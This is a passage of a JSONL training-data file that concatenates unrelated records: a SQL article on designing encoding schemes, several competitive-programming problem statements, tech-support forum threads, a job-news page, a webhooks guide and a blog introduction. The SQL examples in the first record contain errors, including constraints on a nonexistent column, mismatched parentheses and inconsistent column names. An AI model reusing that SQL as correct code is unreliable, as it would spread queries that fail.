the philosophy section, and not under the 510s, mathematics. In the nineteenth century, there was no mathematical logic. Today, nobody would think of looking for logic under philosophy – it is math. Dewey was simply following the conventions of his day. And like today's programmers, he found that the system specifications changed while he was working.\nThere are two ways to model these encoding schemes. The first is a simple list and the other is range pairs. The skeleton for Dewey might be:\nCREATE TABLE Library_Catalog (ddc CHAR(7) NOT NULL PRIMARY KEY CHECK (ddc LIKE '[0-9][0-9][0-9].[0-9][0-9][0-9]'), ddc_name VARCHAR(35) NOT NULL, ..);\nCREATE TABLE Library_Catalog (low_ddc CHAR(7) NOT NULL PRIMARY KEY CHECK (ddc LIKE '[0-9][0-9][0-9].[0-9][0-9][0-9]'), high_ddc CHAR(7) NOT NULL CHECK (ddc LIKE '[0-9][0-9][0-9].[0-9][0-9][0-9]'), ddc_name VARCHAR(35) NOT NULL, ..);\nI prefer the range pair approach, since the description can be at the higher level. That is,\nINSERT INTO Library_Catalog VALUES ('500.000', '599.999', 'Natural Sciences'), ('510.000', '510.999', 'Mathematics'), ('511.000', '511.999', 'Algebra'), etc ;\nHowever, if the hierarchy is not large or deep, it might be better to use a simple list.\nThe worst possible way to do these encodings is to confuse a hierarchy and a hierarchical encoding. Yes, it actually happens! A posting by Westside2008, with narrative instead of DDL asked for a CTE to query a table that stores product categories. The table has three columns whose original names were not ISO-11179 standard, so I fixed them.\nCREATE TABLE Product_Categories (product_cat INTEGER NOT NULL PRIMARY KEY, product_cat_name VARCHAR(20) NOT NULL, parent_product_cat INTEGER -–REFERENCES Product_\nThe request was to find the superior and subordinate categories given an input. The answer is the usual CTE pattern, one for each direction:\nWITH Subordinate_CTE (product_cat, product_cat_name, parent_product_cat) AS (SELECT product_cat, product_cat_name, parent_product_cat FROM Product_Categories WHERE parent_id = @in_search_cat) UNION ALL SELECT P.product_cat, P.product_cat_name, P.parent_id FROM Product_Categories AS P. Subordinate_CTE AS S WHERE S.product_cat = P.parent_id) -- select from the cte SELECT product_cat, product_cat_name, parent_product_cat FROM Subordinate_CTE;\nCompare this to the query for searching the Dewey Decimal Classification:\nHere is with the simple list:\nSELECT ddc, ddc_name FROM Library_Catalog WHERE ddc LIKE @in_ddc_pattern;\nIf I want to find all the math books, I use SET @in_ddc_pattern = '51_.%' and I am done. Since the ddc column is a key, it is indexed, there is no need for cursors and loops (which is what a recursive CTE is internally).\nIf I use the range pairs, the query becomes:\nSELECT ddc, ddc_name FROM Library_Catalog WHERE @in_ddc BETWEEN low_ddc AND high_ddc;\nA vector is made up of a fixed number of components. These components can be ordered or unordered, but are almost always ordered; they can be of fixed or variable length. The components can be dependent on or independent of each other, but the code applies to a single entity. The components of the vector can be determined by punctuation, symbol-set changes, or position within the code.\nAn example is the ISO code for tire sizes, which is made up of a wheel diameter (scaled in inches), a tire type (abbreviation code), and a width (scaled in centimeters). Thus, 15R155 means a 15-inch radial tire that is 155 millimeters wide, whereas 15SR155 is a steel-belted radial tire with the same dimensions. In spite of the mixed American and ISO units, this is a general physical description of a tire in a single code.\nVector schemes are very informative and allow you to pick the best scheme for each component. But they have to be disassembled to get to the components. Sorting by components is hard unless you want them in the order given; try to sort the tire sizes by construction, width, and diameter instead of by diameter, construction, and width.\nAnother disadvantage is that a bad choice in one component can destroy the usefulness of the whole scheme. Extending the code can be hard or easy. For example, if we invent a new kind of tire material, we jut add another abbreviation since this code is variable length.\nBut if the tire code had to be expanded to include thickness in millimeters, where would that measurement go? Another number would have to be separated by a punctuation mark. It could not be inserted into a position inside the code without giving ambiguous codes. The code cannot be easily converted to a fixed-position vector encoding without changing many of the database routines.\nA concatenation code is made up of a variable number of components that are concatenated together. As in a vector encoding, the components can be ordered or unordered, dependent on or independent of each other, and determined by punctuation, symbol-set changes, or position.\nA concatenation code is a cross between a hierarchy and a vector. The hierarchy is traversed by additions to the right. These are also known as facet codes in Europe. Or the code can be a list of features, any of which can be present or missing. The order of the components may or may not be important.\nConcatenation codes were popular in machine shops at the turn of the 20-th century: a paper tag was attached to a piece of work, and workers at different stations would sign off on their parts of the manufacturing process. Concatenation codes are still used in parts of the airplane industry, where longer codes represent subassemblies of the assembly in the head (also called the root or parent) of the code.\nAnother type of concatenation code is a quorum code, which is not ordered. These codes say that (n) out of (k) marks must be present for the code to have meaning. For example, three out of five inspectors must approve a part before it passes.\nThe most common use of concatenation codes is in keyword lists in the header records of documents in document systems. The author or librarian assigns each article a list of keywords that describe the material covered by the article. The keywords are picked from a limited, specialized vocabulary that belongs to some particular discipline.\nThese codes could also be ambiguous if they were poorly designed. For example, is the head of 1234 the 1 or the 12 substring? When concatenation codes are used in databases, they usually become a set of \"yes/no\" check boxes, represented as adjacent columns in the file. This makes them Boolean vector codes, instead of true concatenation codes.\nGeneral Guidelines for Designing Encoding Schemes\nThese are general guidelines for designing encoding schemes in a database, not firm, hard rules. You will find exceptions to all of them.\nExisting Encoding Standards\nThe use of existing standard encoding schemes is always recommended. The government or industry agency that provides these codes has someone who sat down and did nothing but work on this scheme. He probably did a better job than you could. In many cases he is also the trusted source for the data.\nAllow for Expansion\nAllow for expansion of the codes. The ALTER statement can create more storage when a single-character code becomes a two-character code, but it will not change the spacing on the printed reports and screens. Start with at least one more decimal place or position than you think you will need. Visual psychology makes \"01\" look like an encoding, whereas \"1\" looks like a quantity.\nUse Explicit Missing Values to Avoid NULLs\nAvoid the SQL general NULL as much as possible by putting special values in the encoding scheme instead. SQL handles NULLs differently from values and NULLs don't tell you what kind of missing value you are dealing with.\nAll-zeros are often used for missing values; all-nines, for miscellaneous values. For example, the ISO gender codes are 0 = Unknown, 1 = Male, 2 = Female, and 9 = Not Applicable. \"Not applicable\" means a lawful person, such as a corporation, which has no gender.\nKeep the Codes in the Database\nThere should be a part of the database that has all of the codes stored in tables. These tables can be used to validate input, to translate codes in displays, and as part of the system documentation.\nI was amazed to go to a major hospital in Los Angeles in mid-1993 and see the clerk still looking up codes in a dog-eared looseleaf notebook instead of bringing them up on her terminal screen. The hospital is still using a very old IBM mainframe system, which has \"dumb\" 3270 terminals, rather than a client/server system with workstations. There was not even a help screen available to the clerk.\nThe translation tables can be downloaded to the workstations in a client/server system to reduce network traffic. They can also be used to build picklists on interactive screens and thereby to reduce typographical errors. Changes to the codes are thereby propagated in the system without anyone having to rewrite application code. If the codes change over time, the table for a code should have to include a pair of \"date effective\" columns. This will allow a data warehouse to correctly read and translate old data.\nUse One Table per Encoding\nThis should be obvious. But, there is a nightmare called the “One True Lookup Table” or OTLT. It is a relative of the EAV (Entity-Attribute-Value) design flaw. All the encodings are shoved into one table for the entire DB.\nCHECK() constraints become impossible, the OTLT becomes huge, and it is constantly being locked for updates. Security becomes insanely complex.\nPut Constraints on the Encodings\nThis should be obvious, too. It lets you define business rules one place, one way, one time and pass information. Without it, imagine adding CHECK() constraints on every table that uses, say, ZIP codes or telephone numbers.\nPut VIEWs on the Encodings\nThis is not obvious. This tip usually is part of security. A Dentist should not be using medical procedure codes for heart surgeries. But it could be an honest typo by an input clerk. Even with the translation of the code on the screen, they might not recognize the technical terms and keep on going. The right way to do this is a VIEW of dental-only codes for the Dentist office. By keeping the whole encoding scheme in one place, instead of in CHECK() constraints, you guarantee consistency.\nTranslate Codes for the User\nIn some cases, you can display just the code to the end users. For example, most people do not need to see the two-letter state abbreviation written out in full in a street address. But if the encoding is obscure, you will want to inform the end user.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Little Petya is preparing for the first contact with aliens. He knows that alien spaceships have shapes of non-degenerate triangles and there will be exactly 4 ships. Landing platform for a ship can be made of 3 special columns located at some points of a Cartesian plane such that these 3 points form a triangle equal to the ship with respect to rotations, translations (parallel shifts along some vector) and reflections (symmetries along the edges). The ships can overlap after the landing.\n\nEach column can be used to land more than one ship, for example, if there are two equal ships, we don't need to build 6 columns to land both ships, 3 will be enough. Petya wants to know what minimum number of columns will be enough to land all ships.", "source": "cpt_codeforces", "language": "en", "token_count": 162, "token_count_with_eod": 163, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Recovering deleted text messages....\nI have been looking all over the forums to find an answer to this, but I stupidly deleted a threat of very important messages from my phone, and I was wondering if there is anyway that I can recover these messages from my phone? I have a HTC Hero it is about 2 years old now.\nPlease if you know let me know, or perhaps point me in the right direction\nOne very concerned user", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You are given a permutation $$$p$$$ of length $$$n$$$ — an array, consisting of integers from $$$1$$$ to $$$n$$$, all distinct.\n\nLet $$$p_{l,r}$$$ denote a subarray — an array formed by writing down elements from index $$$l$$$ to index $$$r$$$, inclusive.\n\nLet $$$\\mathit{maxpos}_{l,r}$$$ denote the index of the maximum element on $$$p_{l,r}$$$. Similarly, let $$$\\mathit{minpos}_{l,r}$$$ denote the index of the minimum element on it.\n\nCalculate the number of subarrays $$$p_{l,r}$$$ such that $$$\\mathit{maxpos}_{l,r} > \\mathit{minpos}_{l,r}$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 163, "token_count_with_eod": 164, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Assignment to translate a text of 247 words from English to German. A text related to food, for an exclusive rent-a-chef-business. A great feeling for nuances in the German language is required.\n25 freelanceria on tarjonnut keskimäärin %project_bid_stats_avg_sub_26% %project_currencyDetails_sign_sub_27% tähän työhön\nHi, I will complete this project within 12 hrs and I will provide you high quality human translation. Kindly award me this project please. Regards START-UP TRANSLATION", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 119, "token_count_with_eod": 120, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Oleg the bank client lives in Bankopolia. There are n cities in Bankopolia and some pair of cities are connected directly by bi-directional roads. The cities are numbered from 1 to n. There are a total of m roads in Bankopolia, the i-th road connects cities ui and vi. It is guaranteed that from each city it is possible to travel to any other city using some of the roads.\n\nOleg wants to give a label to each city. Suppose the label of city i is equal to xi. Then, it must hold that for all pairs of cities (u, v) the condition |xu - xv| ≤ 1 holds if and only if there is a road connecting u and v.\n\nOleg wonders if such a labeling is possible. Find an example of such labeling if the task is possible and state that it is impossible otherwise.", "source": "cpt_codeforces", "language": "en", "token_count": 180, "token_count_with_eod": 181, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Nigerian Army latest news update 2020 on Job Recruitment. This page is about Nigerian Army latest job news 2020. I will be sharing relevant and current news on Nigerian Army recruitment portal, Nigerian Army recruitment shortlisted candidates, and so on. Find out latest news on Nigerian Army recruitment below.\nThis article will give Nigerian Army latest job news all for free. I guess you have some questions you want to ask or even make some enquiry. Please feel free to share your comments with us, using the comment box on this page at the end of this article.\nNigerian Army Recruitment Latest News\nNigerian Army was created with the aim to build capacity of Nigerian youths as well as reduce unemployment rate in the country. Currently, Nigerian Army recruitment form registration had ended and the new forms are not out yet. However, you can bookmark this page as the recruitment news for Nigerian Army registration will be updated on this page once the form is out.\nFor those of you seeking to know seeking to know when the form will be out, please be inform that the management of Nigerian Army has not announce the date yet, for the release of the application/registration form. Once the Nigerian Army form is out, this page will be updated immediately.\nNigerian Army Shortlist\nDid you apply for Nigerian Army jobs recently? If yes, then this update will help you. Currently, Nigerian Army 2020 List of shortlisted candidates is not yet out. See details below on how to download the list of shortlisted candidates.\nHow to Check Nigerian Army List of Shortlisted Candidates\nI will briefly show you how to check Nigerian Army shortlisted candidates list. Follow the steps below to check.\n- Visit Nigerian Army portal via https://Nigerian Army.fmhds.gov.ng/\n- Search for list of shortlisted candidates.\n- Click on the PDF list.\n- You can alternatively check your email, if you don’t see it, check your spam folder. Also check for Nigerian Army text message on your phone because selected candidates will be contacted through this means.\nNote: The list for Nigerian Army shortlisted candidates is not yet out. However, keeping visiting Nigerian Army official portal at https://Nigerian Army.fmhds.gov.ng/ or bookmark this page as it will be updated once the list is out.\nNigerian Army Screening Date\nDate has not yet be announced for the Nigerian Army exams. When the date is scheduled, this page will be updated. Endeavour to check your email frequently so you won’t miss out.\nRelated Nigeria Job News & Latest Update\n- Nigerian Navy Latest Job News\n- Nigerian Immigration Service Latest Job News\n- Nigerian Customs Service Latest Job News\n- Nigeria Police Force Latest Job News\n- Civil Defence Latest Job News\n- NDLEA Latest Job News\n- NDDC Latest Job News\nIf you want to be notified about Nigerian Army latest news through email, then drop your email and whatsapp number in the comment session below.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 618, "token_count_with_eod": 619, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "This obviously relies on you having java and android installed, which I'd guess you have if you're upgrading an Android app\nStep 1Download the latest zip file from http://cordova.apache.org/ and unzip it.\nStep 2Install android if necessary and add it to the OS path. You need ANDROID_HOME set or the android executable on the path. I added both.\nMake sure you have Android version 19 installed from Android's SDK manager\nStep 3Install ant and add it to the OS path so that ant can be executed from the command line\nStep 4Using a command line tool (cmd or bash, or whatever) change directory (cd) to the where you unzipped the cordova zip and cd into the package/framework directory\nRun the following command\nIf you get the error message that you need to create 'local.properties' run the following command first (then run ant jar)\nandroid update project -p .\nThis will create the jar file called cordova-.jar\nStep 5Copy these files from the unzipped cordova directory into your Android app directory structure:\n- the created .jar file to your /libs directory (will be in the framework directory where you created it)\n- cordova.js from the assets directory in the zip file to your app assets directory\nThat's all I needed to do. The settings all worked as before and now I've upgraded. I hope this helps someone and it isn't just me that doesn't want to have to use the Cordova tools :)", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Welcome to our community.\nTo get a solution as fast as possible we recommend you always do a search on our website for the error message you get before posting a new question. This might help you find the solution in minutes instead of waiting for our next-day answer.\nFor example, in your case the solution seems to be the one described in this older post, It is a very easy small mistake with new users:\nIf this old thread doesn't help you please follow the recommendations from this page\nwhen making a new post. It will allow our team to give you a faster answer.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I just swapped my intel core i5 for a Ryzen 3700x with the Gigabyte Aorus Elite x570 mb and I'm having some system instability issues. Specifically, my PC sometimes does not wake properly from sleep: the case and cpu fans will spin up and the motherboard will light up, but all of the i/o ports remain dead. My monitor, keyboard, mouse, etc. all think that the PC is still asleep and will not respond. What is odd is that I can always *initially* wake my PC with either the mouse or keyboard, and all my peripherals will respond at first, but then there is a lag of a few seconds before the system fully wakes up, and sometimes all the peripherals lose power and remain dead. Then I'm forced to hold the power button down.\nI don't know what to do or what could be causing this. I am running the latest AMD chipset drivers (v. 2.03.12.657) and the latest BIOS update from Gigabyte. Currently running the Ryzen \"High Performance\" power plan. I have not tweaked any of my CPU's settings; the only thing I did was overclock my RAM to 3200 Mhz.\nIf anyone knows what could be going on here I would really appreciate the help.\nEDIT #5 (Final edit): After 2 months of trouble shooting I think I finally found the issue, which I am posting here for any future users who encounter this same problem. The following resolved this issue:\n1. wipe Windows and do a clean install\n2. Update BIOS to f11\n3. Disable Fast Boot\nAfter I did these things I was able to put my PC to sleep and wake it back up a bunch of times without any issue. As a final \"just in case\" measure I decided to edit the Ryzen High Performance power plan by disabling all wake timer events....and suddenly the issue came back. So I went back in and...\n4. (the real fix): re-enabled wake timers.\nSince I re-enabled wake timers I haven't had any booting issues. TL;DR is it looks like there is something about this motherboard (or my system in particular) that needs the wake timers enabled. Else, it just fails to wake from sleep properly. If you're having an issue like this and you're also running the Aorus Elite x570, try making sure that wake timers are enabled.\nMany usb peripherals can cause issues with sleep. After all these years it is amazing that Microsoft doesn't have this working right.\nI was able to isolate it to radeon drivers, until 20.4.1 surfaced I was experiencing problems with standby and sleep\nThe odd thing is I've never experienced these problems before, and I've had my current desktop since 2016. I could plug in any device I owned--kindle, garmin watch, phone, bike lamp, etc.--and before I rebuilt my PC two weeks ago nothing ever gave me this issue. Now all of a sudden with a new mb, cpu, and psu this suddenly a problem? I don't get it.\nAnyway, I tried disabling Windows ability to turn off the USB hubs and roots in Device Manager, so hopefully that helps. Though I'm still not convinced that USB is the sole issue; that wouldn't explain why my GTX 970 suddenly goes dead too and my monitor goes back to sleep just the same as my keyboard and mouse. It's almost like something prevents the entire system from coming out of sleep and Windows won't boot back up.\nI get your frustration. I have a USB scanner if I leave it plugged in the computer won't sleep. I have a monitor that if I use the Windows plug and play driver that so many think is all you need, it won't sleep. I have to use the proprietary driver for the monitor. There are so many variables that can affect whether a computer thinks it is time to sleep. I wish that Windows would just have some time of override setting that regardless of what the OS sees it forces sleep or allows it to wake. I have had the same stuff with waking too before.\nMy X570 BIOS has a power menu item and I can adjust it to ignore USB or PS2 events etc.\nthe device manager can also help with power, check the power settings for you scanner etc and see if that helps\nSame issue. I had to go into device manager and manually update drivers for the \"AMD GPIO Controller\" and all the \"AMD PCI\" line items.\nAMD's chipset drivers would make it easier than doing that all manually.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 960, "token_count_with_eod": 961, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Your form’s design is updated in real time. The preview component is automatically launched with the Editor and gives you several tools to format your controls.\n- Drag and resize multiple controls at once\n- Right-click contextual menu allows:\n- Add menus\n- Aligning selected controls\n- Center individual controls or groups of selected controls\n- Clipboard operations\n- Keyboard-enabled: the most common keyboard shortcuts will respond as you expect them to.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 88, "token_count_with_eod": 89, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Sereja is interested in intervals of numbers, so he has prepared a problem about intervals for you. An interval of numbers is a pair of integers [l, r] (1 ≤ l ≤ r ≤ m). Interval [l1, r1] belongs to interval [l2, r2] if the following condition is met: l2 ≤ l1 ≤ r1 ≤ r2.\n\nSereja wants to write out a sequence of n intervals [l1, r1], [l2, r2], ..., [ln, rn] on a piece of paper. At that, no interval in the sequence can belong to some other interval of the sequence. Also, Sereja loves number x very much and he wants some (at least one) interval in the sequence to have li = x. Sereja wonders, how many distinct ways to write such intervals are there?\n\nHelp Sereja and find the required number of ways modulo 1000000007 (109 + 7).\n\nTwo ways are considered distinct if there is such j (1 ≤ j ≤ n), that the j-th intervals in two corresponding sequences are not equal.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Hi I dont want the extra bracket inside the list thats been outputted so how would I fix that?\nThis is the code:\ndef my_code(list1, list2, index): index = ['a','b','c'] list2 = list1 = [1,2,3] list1.insert(2,index) return list1\nand it returns:\n[1, 2, ['a', 'b', 'c'], 3]\nI dont want the brackets from inside!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "CS475 Lab 5: Wavefront Parallelization\nObjectivesThis lab is intended to give you an hands-on experience on wave-front parallelization.\nThe objectives are\n- To analyze and draw the data-dependencies in the given program.\n- Redraw the dependence graph from the given iteration space to time and processor iteration space.\n- Re-write the loop body for the transformed iteration space.\n- Verify the functionality of your transformed program.\n- Insert parallel pragmas for OpenMP parallelization of the transformed program.\n- Measure the performance(speed-up on 1-8 processors) of the parallel code to that of the given code on State-capital machines.\nDownload the Lab5.tar file. It contains the following files.\nComment out the lines to compile the necessary files after performing wavefront-parallelization.\nIt is the same program as we saw in lecture. The sequential code is provided.\nComplete the code for the transformation:\n(i,j->p,t) = (i,j->i,i+j-1) by figuring out i,j in terms of p and t. In the given transformed code, t refers to the outer loop and p refers to the inner loop.\n- timer.c and timer.h\nComplete the code to perform Wavefront parallelization. In your lab report,\nLast Modified: 9/27/2017\n- Show the transformed loop body and dependences.\n- Explain, how you compute the values for i,j in the trandformed code and why it is correct.\n- Speed-up on 1-8 processors for N=200,2000,20000 on a state capital machine.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "to customize your list.\nmore stack exchange communities\nStart here for a quick overview of the site\nDetailed answers to any questions you might have\nDiscuss the workings and policies of this site\nHow to write time duration correctly\nWithin a user manual, I need to convey the maximum time period allowed as \"365 days 23 hours 59 minutes 59 seconds\" - are commas expected between each component? Is the word \"and\" expected before the ...\nOct 17 '12 at 22:58\nnewest time technical-writing questions feed\nHot Network Questions\nWhy does Spotlight give a wrong value for `cos(pi/2)`?\nCould one obtain an object to destroy a Horcrux in the Room of Requirements?\nWhat is \"the d20 bust,\" and what does \"post-d20 game\" mean?\nIs it OK to use while ((line = r.readLine()) != null) construct?\nPage Numbering: Prime Numbers\nSource code of the screens of debian-installer\nAre airlines legally obligated to feed passengers without charging?\nWhat to claim when we don't reject the null?\nWhy do I stop eating corpses? Should I keep eating them anyway?\nIs an infinite line the same thing as an infinite circle?\nJoin Collection to table\nWhy are commerical flights not equipped with parachutes?\nWhy is Quicksort described as \"in-place\" if the sublists take up quite a bit of memory? Surely only something like bubble sort is in-place?\nBirthday paradox with a (huge) twist\ncheck webpage repeatedly over and over\nWould such polynomial identity exist? (related to sum of four squares)\nWhy can't I use renice to increase a process' nice value?\nWord for a person who loses or has lost faith?\nBBWC: in theory a good idea but has one ever saved your data?\nWhat type of solver does Mathematica use in LinearSolve\nCustom indexOf() without String methods\nWriting a letter of recommendation as a graduate student\nHow to compute impulse response from transfer function\nmore hot questions\nLife / Arts\nCulture / Recreation\nTeX - LaTeX\nUnix & Linux\nAsk Different (Apple)\nGeographic Information Systems\nScience Fiction & Fantasy\nSeasoned Advice (cooking)\nPersonal Finance & Money\nEnglish Language & Usage\nMi Yodeya (Judaism)\nCross Validated (stats)\nTheoretical Computer Science\nMeta Stack Overflow\nStack Overflow Careers\nsite design / logo © 2014 stack exchange inc; user contributions licensed under\ncc by-sa 3.0", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I have experimented, learned & implemented a breakthrough style based on a theory of the universal impact of sound on human.\nRati Makeup Artist\nIf you want to produce an array from two seperate arrays on their intersects, here you go produce an array from two seperate arrays on their intersects, here you go\nRati Makeup Artist1\nRati Makeup Artist2\nRati Makeup Artist4\nMauris mauris ante, blandit et, ultrices a, suscipit eget, quam. Integer ut neque. Vivamus nisi metus, molestie vel, gravida in, condimentum sit amet, nunc. Nam a nibh. Donec suscipit eros.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 142, "token_count_with_eod": 143, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Vasya has a grid with $$$2$$$ rows and $$$n$$$ columns. He colours each cell red, green, or blue.\n\nVasya is colourblind and can't distinguish green from blue. Determine if Vasya will consider the two rows of the grid to be coloured the same.", "source": "cpt_codeforces", "language": "en", "token_count": 62, "token_count_with_eod": 63, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "People threatened, worried, or offended in any way by 3D models need to really reasses their priorities in life.\nI'm not too surprised, as Sony seems to really try hard to cater to a Western audience despite being a Japanese company, and the Western world seems to be growing extremely puritanical of late in a variety of areas.\nFrankly I never understood the argument against sexualizing women in video games, the same way I wouldn't understand any argument against sexualizing MEN in games.. Appreciating the beauty of the female form in absolutely no way is disempowering women, it's the opposite! Then there's the argument that it's \"objectifying\".. Umm, in what way? And according to who exactly? What about the women who enjoy these depictions as well?\nAnd showing sexualized female figures in video games (or anywhere else) in no way discounts the fact that she could ALSO have personality, depth, intelligence, etc.. You can appreciate someone's physical appearance while ALSO appreciating their personality characteristics can you not? Physical beauty and depth/personality are not mutually exclusive, and it baffles me that some seem to think it is.. I dunno, maybe I'm the crazy one? Am I missing something here?\nLast edited by DarthMetalliCube - on 18 April 2019", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 275, "token_count_with_eod": 276, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You are given a string $$$s$$$ consisting of lowercase English letters.\n\nRearrange the characters of $$$s$$$ to form a new string $$$r$$$ that is not equal to $$$s$$$, or report that it's impossible.", "source": "cpt_codeforces", "language": "en", "token_count": 48, "token_count_with_eod": 49, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Given a set of integers (it can contain equal elements).\n\nYou have to split it into two subsets $$$A$$$ and $$$B$$$ (both of them can contain equal elements or be empty). You have to maximize the value of $$$mex(A)+mex(B)$$$.\n\nHere $$$mex$$$ of a set denotes the smallest non-negative integer that doesn't exist in the set. For example:\n\n- $$$mex(\\{1,4,0,2,2,1\\})=3$$$\n- $$$mex(\\{3,3,2,1,3,0,0\\})=4$$$\n- $$$mex(\\varnothing)=0$$$ ($$$mex$$$ for empty set)\n\nThe set is splitted into two subsets $$$A$$$ and $$$B$$$ if for any integer number $$$x$$$ the number of occurrences of $$$x$$$ into this set is equal to the sum of the number of occurrences of $$$x$$$ into $$$A$$$ and the number of occurrences of $$$x$$$ into $$$B$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 218, "token_count_with_eod": 219, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Here are the server specs are per support.dell.com via the Service Tag\nPOWEREDGE SC420 - SATA - CELERON 326, 2.\n1512MB SINGLE RANK 533MHZ ECC MEMORY, (2X\n1NO FLOPPY DRIVE\n180GB SATA (7,200RPM) 1IN HARD DRIVE, 1ST\n148X CD-ROM DRIVE\n1DISPLAY : NOT INCLUDED\n1NO KEYBOARD REQUIRED\n1NO OPERATING SYSTEM.(N)\n1OPENMANAGE SERVER SOFTWARE\n1NO WARRANTY UPGRADE\n11Y NBD (NEXT BUSINESS DAY)(NA)\n1C1 SATA, 1 HARD DRIVE\nWhat happened leading up to this? How many drives to you actually have in the server? Did you have RAID enabled in the BIOS / Integrated Devices and is it enabled now? Do you have a CTRL-A option during POST that you can enter? If so, what do you see?\nI'm not sure but it was working until Monday evening but by Tuesday morning this message had appeared.\nThere is one physical drive in the server - so no RAID\nThere is a CTRL A option, am not in the same country as the server right now, but am awaiting that info and will post asap\nThere is only one hard drive, when the user presses CTRL+A nothing happens except 'SATA Primary hard disk drive 0 failure Strike the F1 key to continue, F2 to run the setup utility'\nHard Drive Diagnostics\nDrive 0: WDC ROM MODEL-UNICORN-- - Error attempting diagnostics\nDrive 1: No device\nDrive 2: LITE-ON CD-ROM LTN-489S – Diagnostics not supported\nDrive 3: No device\nSATA Operation – SATA Operation is set to RAID Autodetect/ATA\nRAID AUTODETECT/ATA – RAID if signed drives, otherwise ATA\nRAID OFF – No RAID supported\nRAID ON – SATA is configured for RAID on every boot\nWell, it won't let you do RAID with the onboard controller with a single drive (some controllers would require a single-disk RAID 0 for a single drive). My diagnosis? Your drive failed - is dead. You can try and plug it into another system as a secondary drive to see if it powers up to the point of being able to see and copy your data, but if the drive is not operational, there isn't much you can do. At this point, if the data is crucial, call a data recovery pro.\nI hope there is a tape backup so I can import the tapes into a different server and restore from there.\nCan anyone tell me whether there will be an issue installing Windows Server 2003 on this server?\n\"Issues\" ... there should not be any \"issues\", but you might run into some things you might consider issues. If you do, just let us know.\nThanks will do\nI got no joy from the old hard drive.\nI've setup Windows 2003 on a new drive and have the tape drive installed but cannot import or catalog any of the tapes.\nMaybe I should open a new question but the drive is a USB HP Storeagework DAT 160 - can anyone suggest a free or trial program that will import or recognise the tapes?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "To enable and setup webhooks, it's as simple as creating a new spreadsheet (or table in Airtable) called \"webhooks\":\nAnd here is what the spreadsheet looks like:\nA description of the fields:\nThe JSONata expression for the response field should evaluate to an object that looks like this:\n\"statusCode\": 200, // can be any status code, just must be a number\n... // any set of HTTP headers can be put here\n\"body\": \"\" // can be string or JSON\nAfter a synchronization occurs, you can retrieve the URL(s) for your new webhook(s) by issuing a GET request to the following endpoint with your admin user:\nFrom there, you can send data to a webhook by using a POST request. Note that webhooks do not require any authorization to call. Anyone or any service that has the URL can push data into your datasets. The webhook id below will be whatever the internal SheetDream _id value is:\nWhen you POST to that endpoint, SheetDream will recognize you're interacting with the special webhooks table. It will take the incoming data in the POST body, and will run your JSONata expression against it. It will then attempt to import the result into your specified target spreadsheet.\nThe expression field should evaluate to something that looks like this:\n\"Column 1\": ..,\n\"Column 2\": ..,\nIn other words: a flat JSON object with no nesting. Simple key/value pairs only. If you do not adhere to this format, SheetDream will simply throw out the result and will not import anything into the target table.\nThe response field has no restrictions on what it needs to evaluate to. It should evaluate to some sort of JSON result that the calling service expects the webhook to return.\nIf you want to test your JSONata expression, head on over to https://try.jsonata.org. You'll find a window very similar to the JSONata editor modals in the API Tasks section. You can paste in some example webhook data your third party API will be POSTing to SheetDream, and then work out the JSONata to get a result object that can be successfully imported into your spreadsheet.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 450, "token_count_with_eod": 451, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I've got a fresh install of #! here, and right off the bat VLC has an issue with .mp4 files. It plays, you see the timeline progression, you can hear all the audio playing fine, but the place where video should be is just black. Has anyone else had this issue? Any ideas on a fix?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I’ve been wondering what I could do with this blog since I really don’t know enough about Christianity, theology or apologetics to teach anybody anything. I’m in total immersion mode, and learning a tremendous amount, but it’s going to be a long road. I’m thinking about getting some formal education, but I’m not sure how to best go about that. I have a four year degree and 20 years of work experience, but it’s all technical computer stuff. I haven’t done anything even remotely humanities related since my few required courses in college.\nBut one thing I do remember from English writing classes is to write what you know. And I do know the questions that I had to get answered before I came to the point where I am now. So I’m going to try to combine a couple of things here. First, I’m going to talk about the issues I had before I could recommit myself to Christ. I’m going to ask the question, and give the answer that made sense to me, but what’s more, is that I will try to make the answers more complete and based in theologies, reason, and evidence.\nIn many ways, I think my aptitude for my current career as a technical architect will prove valuable in apologetics. Most of what I do and what 